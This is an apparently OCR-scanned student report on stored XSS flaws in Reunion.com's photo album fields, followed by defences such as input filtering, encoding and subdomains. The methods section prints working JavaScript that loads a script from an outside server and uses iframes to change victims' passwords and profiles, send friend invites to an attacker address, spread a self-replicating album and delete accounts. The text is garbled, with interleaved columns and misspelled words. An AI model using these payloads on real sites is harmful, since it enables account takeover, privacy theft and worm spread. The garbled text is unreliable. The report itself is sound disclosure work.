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Abstract—This report studies the cross-site scripting (XSS)
vulnerabilities in a very popular social networking site,
Reunion.com. Introductions to cross-site  scripting and
Reunion.com are provided, as well as the vulneraliiies found in
the website and the methods used to discover andpeit these
vulnerabilities. The report concludes with some pasble solutions
to the vulnerabilities found.

|. INTRODUCTION
INCE their introduction, social networking sitesvha

A. XSS Vulnerabilities

In the Photos page of Reunion.com, users can é&denal
and set their names and descriptions. The criiealirity risk
that let us accomplish our attack was that Reuo@n.allows
script tags as input for the album name and albescription.

This vulnerability is the result of violating tli@mplete
Mediationprinciple of designing secure systems. This
principle requires that every access to every dlijea system
must be checked for authority. Filter should hagerb
employed by Reunion.com on all input forms, inchgdthe
Album description input to ensure that no malicioysuts

attracted millions of users looking to express rtheiwere entered.

individuality online. Over the last few years, thitass of
websites has diversified in the type of informattbry allow
users to express [7]. Despite the growing popuylaritsocial
network sites, little research has been made onsdoarity

vulnerabilities of allowing users to upload and rgha

information over the web. The purpose of this répsrto
analyze the cross-site scripting vulnerabilitie®né particular
social-networking website, Reunion.com.

Reunion.com is currently ranked as one of thel@@North
American social networking websites, and has o@emilion
members worldwide. The website allows its membershiare
their personal information, such as their namespbles,
interests, address. Reunion.com also allows mentbengate
and share photo albums with other members.

Cross-site scripting, or XSS, is a very importypge of
security vulnerability that allows code injectioy alicious
web users into the web pages viewed by other Us8S
attacks are written in a markup language such aMIHT
combined with a client-side scripting language suzh
Javascript [3, pp. 130-150].

Reunion.com was found to have many XSS vulnetsdsili
that allow potential attackers to perform very dgimng
actions. The next sections describe the specificevabilities
found in Reunion.com, the methods taken to disccust
exploit these vulnerabilities, and potential sanf to
eliminate and reduce the impact of these vulnatisi

Il. REUNION.COM VULNERABILITIES AND DESIGNFLAWS

Three major vulnerabilities were found in Reuniamc
through the course of this analysis: XSS vulneitasl, cross-
site request forgery vulnerabilities, and authextidm
vulnerabilities.

B. Cross-Site Request Forgery Vulnerabilities

Cross-site request forgery, or CSRF, is a typdtath
similar to XSS, except that it allows attackersiake requests
to other websites on behalf of the victim.

Once a script is inserted into the Photos pageuaeaythat
views this page will run the script in their browsEhis gives
the script significant control over the victim'sdwser, and can
be used to navigate the victim to other pages séxal cookies
from the victim’s browser. For example, the scdptild cause
the victim’s browser to navigate to the victim's @hsite and
steal the victim’s contact list or emails. Thisaak is CSRF
because it exploits the trust that the email site that the
requests are coming from the user and not a script.

This vulnerability is a result of violating tliguestioning
Assumptiongrinciple of designing secure systems.
Reunion.com assumes that all requests made taamdits
website are by trustworthy members. Instead, tHesite
should check for suspicious requests that mightatd they
are coming from a script.

C. Authentication Vulnerabilities

Reunion.com allows users to change their passwards
delete their accounts. However, the website doesaire
any more authentication to perform these actionosekample,
the user is not required to enter their old pasdwdren
changing their password or deleting their accoGotmbined
with Reunion.com’s XSS and CSRF vulnerabilities, an
attacker could very easily change a victim’'s pasdvar delete
a victim's account.

TheDefense in Depthrinciple of designing secure systems
was violated in this case. This principle requies/stem to
layer its defenses. Having a user re-authentidateetf when
performing important actions will reduce the likkelod that
the action is being made by a malicious attacker.
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The next section describes the XSS and authemticati
vulnerabilities in detail, how they were discoveradd how
they were exploited.

Ill. METHODS OFATTACK

A. Finding the XSS Vulnerabilities in Reunion.com

The first step to attacking Reunion.com was findkg§S
vulnerabilities in the site. This required insegtia basic alert
script into every input field of Reunion.com untile script
was actually executed and an alert box opened upuimn
browser. An example is shown figure 1 where the script is
inserted into our Profile information.

o

General Info

EditP Alice

Edit Profile = General Info

My Personality My Lifestyle My School My Intq

General Info

First Name* | <script=alert(/xss/)</script=

Middle Name/Initial | <script=alert{/xss/)</script=]

Fig. 1. Inserting a basic alert script into aletmput fields ofthe Edi
Profile page of Reunion.com.

Once we found this injection point, the next stegswo host
a script on an FTP server.

B. Hosting an XSS Script on a Server

The scripts were stored on the UBC EECE FTP servers
provided to usFigure 3shows the location of the script on
one of our EECE accounts.

File Edit WView History Bookmarks Tools Help
@ b c far | |_| http:/fece.ubc.caf~sgupta/
|2 Most Yisited , Getting Started 5. | Latest Headlines n 4
Norton v iz \[E) 1dentity 5a
Index of /~sgupta
Name Last modified  Size Description
3 Parent Directory =
@ myscript is 23-Nov-2008 08:26 25K

Fig. 3. Hosting a JavaScript file on our UBC EESHEver.

The script inserted into the Album Descriptiondiglas then

We found that the scripts inserted into our profile&hanged to point to the locationmiscript.json the EECE

information were not recognized as HTML scripts de®
they were converted to UML-Encoded ASCII charactenen
stored on the Reunion.com server. We attemptechserti
scripts in every page of Reunion.com - include Blog
Comments, Announcements, and Profiles — and disedwu@e
same problem. We finally found that scripts insgtritgo the
Photos page of our profile were successfully exatut
Reunion.com allows members to create albums aratecre
an album description in the “Photos” section ofirthgrofile.
Both the Album Name and the Album Description feeldlow
the user to inject a script. The Album Name fieks la length
constraint of 10 characters, which is too shoibject a script.
For this reason our scripts were inserted into Atleum
Description field, which has a longer length coaisttr of 90

server. The new script is shownfigure 4

mytestalbum

Click Here to Add 2 Date

<gcript src="http:/ece.ubc.ca/~sgupta
fmyscript.js"></script>

(90 chars max)

characters. Figure 2 shows the script being inserted anc

executed in the Album Description field of the Risopage.

mytestalbum
Click Here to Add a Date

<gacriptyalert(/xss/)</script>

{90 chars max)

Fig. 2. Inserting a basic alert script into albdescription field and beir
successfully execut

Fig. 4 Creating a script in the Album description fidlol point to thi
JavaScript file stored on the FTP Sen

Once the script was successfully hosted on our $€rier,
the next step was to modify the script to actupéyform an
attack.

C. Crafting the Reunion.com Attacks

We were able to successfully create and execuiattsigks:
editing the victim’s profile, changing the victimlegin
password, inviting a friend on behalf of the victioneating a
photo album in the victim’s profile, and deletirgptvictim’'s
Reunion.com account.

In all attacks, an iframe is first created thatigates to the
desired page. For example, to create an iframelmadt it to
the victim’s Edit Profile page the following javasat is used:
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\var iframe = document.createElement(“IFRAME");

iframe.setAttribute(src,
“http://www.reunion.com/showEditProfile.do”

document.body.appendChild(iframe);

Once the iframe is created, the script has fulkasdo all of
the directed page’s elements, including its ingitl and
buttons. The next sections provide detailed desorip of
each attack.

1) Editing the Victim’s Profile
First, an iframe is created and directed to the Edifile
page reunion.com/showEditProfile.dd o change the victim’'s
First Name, the text field containing the first reis retrieved
and changed.

var firstname =
iframe.contentDocument.getElementsbyName(fiestié’);
firstname.value = “Stinky”;

To submit the new First Name, the script can “Clitle
Save button at the end of the Edit Profile pagegitie
javascript click() method.

var saveButton =
targetFrame.contentDocument.getElementsbyNaee('s
saveButton.click();

Once the button is clicked by the script, the micsi web
browser will send the victim’s changed profile infation to
the Reunion.com server. The next time the victiawa their
Profile, they will see their first name changed$tinky”.

An attacker could potentially use this attack tadifyoor
retrieve any of the victim’s personal informatiomeluding
hobbies, interests, home address, phone humbeeraatti -
by simply changing the name of the variable regtefrom the
iframe. This exploit shows that the integrity progef
information security has been compromised.

2) Changing the Victim’s Login Password

This attack is very similar to editing the victinpsofile
information, with the exception that the iframalisected to
the Change Password pagajnion.com/showLogininfo.do

Reunion.com does not require a user to re-enterdhe
password when changing a password. For this redsen,
script can retrieve the password field and setdtge to
another password and click the submit button ugiegsame
method as editing the victim’s profile.

The following code shows how to change the victim’s
password to “attackerspassword”:

var password =
targetFrame.contentDocument.getElementsbyName(imady);
password.value = “attackerspassword”;

var saveButton =
targetFrame.contentDocument.getElementsbyNaae(s
saveButton.click();

An attacker could potentially use this attack fieritity
theft by changing a victim’'s password to one thatattacker
knows. The attacker would then be able to log ithasvictim
and completely take-over the victim’s profile. Thigans that
the victim’s confidentiality has been breached. &ttacker
could also use this vulnerability to perform a @éif-service
attack by not allowing the victim to login.

3) Inviting a Friend on Behalf of the Victim

This attack is also similar to the first editingiaetim’s
profile and password, except the iframe is direttetthe
Friend Invite pageieunion.com/invite.do

Reunion.com allows members to block their profftesn
being viewed by certain members. For example, almem
may set their profile viewable only by their friesndviembers
can also add friends by sending them “Friend lisVitd a
member receives a Friend Invite, they will beconenfls with
the inviter and gain viewing privileges to the itevis profile.

For this attack, the script sets the “Invitee” thetd of the
Friend Invite page to our email addresses. Thetsttren
clicks the Invite button to send the invite on débathe
victim. We then receive an email from Reunion.corfiGating
that the victim has added us as a friend and wencanview
the victim’s profile. The following code is useddend a
friend invite on behalf of the victim:

var invitee =
targetFrame.contentDocument.getElementsbyNameigeYi
invitee.value = “attackersemail@hotmail.com”;

var sendButton =
targetFrame.contentDocument.getElementsbyNanmelfseite’);
sendButton.click();

An attacker could use this attack to view profilesy are
not allowed to view by setting the Invitee fieldhis own
email address. Whenever a victim that has restritteir
profile is attacked, the attacker will become ti@im’s
“Friend” on Reunion.com and gain viewing rightste
victim’s profile.

4) Creating an Album on the Victim’s Profile

This attack takes advantage of Reunion.com’s exjsti
AJAX scripts to add albums and set their descnifgid he
script first opens an iframe and directs it to thaim’'s
Photo’s pagereunion.com/photo/album/allalbums.do

Once the iframe has loaded, the script calls th&AJ
method PhotoDwr.createAlbum() to create an alburthen
victim’s profile. The createAlbum() method is aristixg
method embedded in the Photo page returned from
Reunion.com. Many other AJAX methods that attackpsc
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can use are embedded in this page, including
updatePhotoAlbum(), which modifies the album infation.
The following code creates an album called “telstal” on
the victim’s page and sets the new album'’s desorifib “test
description™:

iframe.PhotoDwr.createAlbum(“test album”, *”, nyll)

var createdAlbumID = getElementsbyName(“test albyiah”
iframe.PhotoDwr.updatePhotoAlbum(createdAlbumiD, 0,

“test aloum”, “ , null);

nown

test description”,

When the victim views his Photos page, he will seew
album called “test album” with description “testsdéaption”.

An attacker could use this attack to create a viNisenever
a victim is attacked, a new album can be createith@n
victim’s profile with the description set to therigt on the
attacker’s server. Now, whenever one of the vitifriends
views the victim’s photos, the same script willdecuted to
create an album on the victim’s friend’s profiléig virus
could spread very quickly if enough people viewss t
malicious album.

5) Deleting a Victim’'s Reunion.com Account

Reunion.com allows members to delete their own @aico
with the click of one button, without requiring aaglditional
authentication. To do this, the script simply disethe iframe
to the Delete Account pagesunion.com/deleteAccount.do
Once the iframe is loaded, the victim’s account is
automatically deleted, and the victim is logged and can not
log back in.

An attacker could use this attack to delete anpaache
wishes to because Reunion.com does not requingstrs to
re-authenticate themselves when deleting an accwlitit a
deleted account, availability to the victim’s acobis taken,
decreasing the value of another information secpribperty.

D. Luring Victims to Our Photos Page

Once the attacks have been made, the next stepuiset
victims to the photos page of our profile. This tendone in
many ways, including uploading interesting pictuiegntice
victims to view our photos.

The next section describes some possible solutintise
XSS vulnerabilities in Reunion.com that will pretven reduce
the impact of these attacks.

IV. COUNTERMEASURES

As a social networking website, Reunion.com has two
possible ways of dealing with its XSS vulneralshti
eliminating them, or reducing their impact.

A. Eliminating XSS Vulnerabilities

There are many solutions that other social netwgrki
websites have employed to reduce or eliminate XSS
vulnerabilities. The most effective solutions toX&re input
filtering, input encoding, and subdomains.

1) Input Filtering

The first layer of defence to XSS attack is inpliefing.
Before being stored on a server, all inputs froweasite are
first filtered for common hazardous content, sugh a
JavaScript. Filters can be used to remove spelc@abeters
such as <, >, &, as well as some HTML tags suchsespt”
[3, pp. 396-400].

This simple solution greatly increases the secufity web
application. However, the website developer mustienthat
every user input entered in a form is passed tdiltee before
being stored at the server or sent back to a dibnbwser. A
single vulnerable injection point can lead to adisous
consequence to the web application if exploiteciy
attacker.

If Reunion.com filters the inputs fields from théb&m
Description, a script tag such as the one desciibedr
attack will be detected and therefore will not Beated.

2) Input Encoding

To couple input filtering, it is advised to alsocede user
input. If an attacker knows that a website usestififiering,
he can encode special characters to their ASClbaent
values. For example, encoding the character ‘<&#60’
will allow the attacker’s script to bypass any infilter, since
the filter will be searching for ‘<’ and not ‘&#6Q6, pp. 220].

Input encoding can be used to convert a user iimpoit
URL-encoded values. URL encoding replaces unsafe
characters with a ‘%’ followed by two hexadecimaits
corresponding to the ASCII character set [4]. Bameple, ‘<’
or ‘&#60’ will be replaced with ‘%3C’. The URL-encded
value will not be recognized as the browser as HTiklis
and will therefore not be executed on the clieft [8

Input filtering combined with input encoding williminate
virtually all possible XSS attacks on Reunion.cain-
encoded scripts will be detected by the inputffjlead any
encoded scripts that bypass the filter won’t even b
recognized by the victim’s browser since they Wil URL
encoded.

3) Using Subdomains

A major problem with input filtering and encodirggthat
these techniques limit the type of information webasers
can publish on their profiles. Many social netwatksites,
including Reunion.com, want their users to be &blereate
their own HTML content and share it by publishibgm their
profiles. Input filtering and encoding filters wéliminate most
HTML content.

A solution to this problem is for web developeraititize
subdomains. That is, to make Website pages that &liTML
input as sub-domains of pages that do not allow HTibut.
The Same Origin Policymplemented in all latest web
browsers does not allow scripts being executechérdmmain
to access elements of a page in another domain [9].

As an example, consider Reunion.com, which allovi$/H
script tags to be placed in the Photos page ofvisite.
Currently, the domain of the Photos page is wwni@ucom,
which is the same domain as the Edit Profile, Chang
Password, and Delete Account pages. If the donfaimeo
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Photos page was changed to a subdomain of
www.reunion.com, such as photos.reunion.com, script
inserted in the Photos page would not be abledesscany
elements of the other pages since the domain cfdhigt is
different.

TheSame Origin Policyvorks because different domains
have different cookies, and all the cookies ofgame domain
have the same cookies [1, pp.22-23]. In the abgaeple,
the Photos page will have all cookies in the
photos.reunion.com domain, but will not have thekies of
the www.reunion.com domain and will therefore baidd
access by the victim’'s web browser.

B. Reducing the Impact of XSS Vulnerabilities

One of the major vulnerabilities in Reunion.conthiat the
user is not re-authenticated when performing seramtions,
such as changing a password or deleting an acdavei if
Reunion.com does not employ any techniques to ieditaiits
XSS vulnerabilities, it should at least re-autheatt its users
when they request to change their passwords otedileir
account.

For further readings on other possible solutionsrevent
XSS attacks, see [2] and [5]. A paper written bifigh Vogt
et al suggests an interesting approach to XSS sed6tity

The next section describes a similar attack to dare on
another popular social networking site.

V. ANOTHERXSSATTACK

The design of Reunion.com does not follow several
principles of designing secure systems. Our attatda show
that the confidentiality, integrity, and availabjliof
information on Reunion.com can be compromised.

To aid Reunion.com in patching its XSS securityelsplve
will report our findings to Reunion.com so thatsbe
vulnerabilities can be addressed in the near future
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The Samy Worm, which attacked MySpace.com in Ocgtobe

2005, was a similar attack that exploited XSS wabéity in
MySpace.com. The worm’s payload added the comniaitt “
most of all, Samy is my hero” to the victim’s ptefand sent a
Friend Invite to Samy, the author of the wormnfected one
million users within 20 hours before bringing doMySpace
and was one of the fastest spreading worms [2].

The Samy Worm was similar to our attack in thaéguired
MySpace users to visit Samy’s profile to be exetutéictim
would be injected by the worm when he viewed Samy’s
profile. It differs from our attack in its implemiion. Samy’s
attack utilized the AJAX XMLHTTPRequest POST method
edit the victim’s profiles and add friends [3, [387-388]. Our
attack utilized JavaScript to manipulate iframesd BOM-
based objects.

The Samy Worm showed the social networking comrgunit
how popular websites are prone to XSS attacks. tinfately,
many websites, including Reunion.com, have stitl no
eliminated the threat of XSS.

VL.

Our analysis on Reunion.com has showed that an XSS-
vulnerable web application, specifically a sociatworking
site, could put its users’ privacy and personabiimfation at
risk. Not only can an attacker modify a victim’ofite, but he
can also highjack a victim’s account by changirg hi
password or deleting the victim’s account.

CONCLUSION



